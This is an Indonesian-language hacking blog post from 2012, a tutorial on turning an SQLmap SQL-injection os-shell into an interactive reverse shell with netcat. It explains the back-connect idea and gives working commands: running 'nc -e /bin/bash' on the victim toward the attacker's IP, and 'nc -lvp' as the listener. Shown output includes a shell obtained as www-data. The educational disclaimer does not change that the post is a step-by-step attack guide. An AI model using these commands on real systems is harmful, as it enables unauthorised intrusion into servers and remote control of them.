Searching...
May 7, 2012
Monday, May 07, 2012

Back Connect With SQLmap

Terinspirasi dari Spawn Shell With SQLmap, saya menemukan cara yang sedikit nyentrik. Yaitu melakukan back connect dengan shell yang tercipta pada SQL Injection yang dilakukan SQLmap.

Back Connect

Victim -> Port Listener -> Attacker

Back Connect memungkinkan attacker untuk mendapatkan shell korban. Ini seperti kasus bertelefon.

A -> Nomer Telepon -> B

Jika B adalah attacker, maka A akan berusaha menghubungi B dengan nomer telepon milik B. Perbedaannya dengan Back Connect, adalah back connect membutuhkan port tertentu untuk melakukan listening terhadap koneksi yang masuk. Contoh. Dalam sebuah kasus, Attacker mengeksploitasi korban dan memerintahkan korbah:

"Kau harus menghubungiku di IP address xxx.xxx.xxx.xxx pada port xxx"

Perintah ini akan dilakukan oleh korban yang terkena eksploitasi. Dalam hal ini, attacker telah menyediakan port masuk kepada korban. Pengaturan port sendiri tidak bisa sembarangan. Port yang digunakan untuk listening, tidak boleh port yang telah digunakan oleh service lain, seperti port 445 milik samba, port 21 milik ftp, port 22 milik ssh, atau port 80 milik apache. Gunakanlah port yang belum terpakai. Maka listener akan berjalan. Ketika proses listening telah berjalan, maka korban akan datang pada IP address yang telah ditentukan attacker, dan masuk lewat port yang disediakan attacker. Apa tidak berbahaya jika ada yang masuk ke dalam port kita? Tidak. Attacker telah mengatur prosedur sedemikian rupa, sehingga ketika terjadi hubungan, maka akan ada yang diekseksi. Contoh:

Victim [cmd.exe or /bin/bash] -> Port Listener -> Attacker

Ketika korban berhasil masuk ke port listener milik attacker, maka cmd.exe atau /bin/bash akan dieksekusi oleh korban sehingga attacker dapat mengatur command prompt [Windows] milik korban, atau mengatur bash [UNIX] milik korban.
Pada tutorial kali ini, saya masih menggunakan Virtual OS pada localhost untuk menghindari dampak buruk dari tutorial ini.

EULA (End User License Agreement)
Penulis membuat tutorial ini dengan tujuan edukasi, penyalah gunaan skill yang didapatkan dari tutorial ini, diluar tanggung jawab penulis.

Preparation
  1. SQLmap (dapat ditemukan pada backtrack)
  2. Netcat (dapat ditemukan pada backtrack)
Walkthorugh :
1. Memerintahkan korban untuk melakukan back connect

Ketahuilah, korban setidaknya harus memiliki netcat. Jika tidak, maka anda harus mengupload netcat pada korban. Anda bisa menggunakan netcat yang sudah dicompile, dan siap pakai, jadi anda tidak perlu melakukan installasi netcat yang membutuhkan privilege root. Netcat bisa anda download di sini.

Setidaknya anda harus dapat mengeksekusi sebuah perintah ke dalam mesin korban. Pada tutorial kali ini, saya akan menggunakan shell yang tercipta dari SQLmap. "Anda sudah mendapatkan shell, mengapa harus melakukan back connect?". Pertanyaan bagus, shell milik sqlmap tidaklah interactive, sehingga memiliki sejumlah keterbatasan dalam perintah-perintah yang interactive, seperti mengubah password, dan lain sebagainya.

Untuk mengeksekusi perintah netcat, anda hanya perlu memasukan perintah berikut.

Command :
os-shell> whereis ncdo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output:    'nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz'

Command :
os-shell> /bin/nc.traditional 10.10.1.1 22 -e /bin/bash

Kebetulan virtual OS yang saya gunakan kali ini, sudah terpasang netcat, sehingga saya tidak perlu lagi mengupload netcat ke server.

Keterangan :
  1. 10.10.1.1 adalah IP address saya (attacker), sesuaikan dengan IP address anda, dan pastikan anda memiliki IP public, sehingga dapat dihubungi oleh korban.
  2. 22 adalah port listener yang saya gunakan, kebetulan saya tidak menjalankan service ssh. Jika service ssh berjalan, maka saya tidak dapat melakukan listening pada port ini.
  3. -e /bin/bash adalah perintah yang tereksekusi ketika koneksi terjadi. Anda harus mengubah -e /bin/bash menjadi -e cmd.exe jika korban anda menggunakan operasi system windows.

2. Lakukan listening pada port yang anda tentukan

Sebelum perintah di atas dieksekusi, anda harus melakukan listening pada port yang telah anda tentukan sebelumnya. Hal ini bertujuan agar korban dapat menghubungi attacker dengan baik (berhasil). Jika port listening belum terbuka, dan perintah telah tereksekusi, maka akan terjadi kegagalan koneksi. Ini seperti melakukan sesi ftp pada server yang tidak menjalankan service ftp.

Untuk melakukan listening, anda hanya perlu memasukan perintah:

Command :
<< back|track 5 R2 [~] nc -lvp 22

Kemudian tekan enter, sehingga anda mendapatkan output seperti di bawah ini.

Command :
<< back|track 5 R2 [~] nc -lvp 22
listening on [any] 22 ...

Keterangan :
  1. -l adalah opsi listening, attacker akan melakukan listening pada setiap koneksi yang masuk. Hal ini seperti stand by untuk dihubungi oleh korban.
  2. -v adalah opsi verbose, opsi ini tidaklah begitu penting. Anda bisa meniadakan opsi ini ketika mengeksekusi perintah netcat.
  3. -p adalah opsi port. Anda diharuskan menetapkan port listening. Anda tidak bisa membiarkan nilai -p kosong. Port bisa diatur pada rentang 1-65535, dengan syarat port tersebut tidak digunakan oleh service lain.

3. Game Over.

Ekseksusi kedua perintah pada tahap satu dan dua.



Kemudian

Command :
<< back|track 5 R2 [~] nc -lvp 22
listening on [any] 22 ...
10.10.1.128: inverse host lookup failed: Unknown host
connect to [10.10.1.1] from (UNKNOWN) [10.10.1.128] 47195
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


It's easy, isn't it?

created by : red-dragon

1 comment:

  1. gan apakah harus port fowarding dulu agar bisa terExploit?

    ReplyDelete

 
Back to top!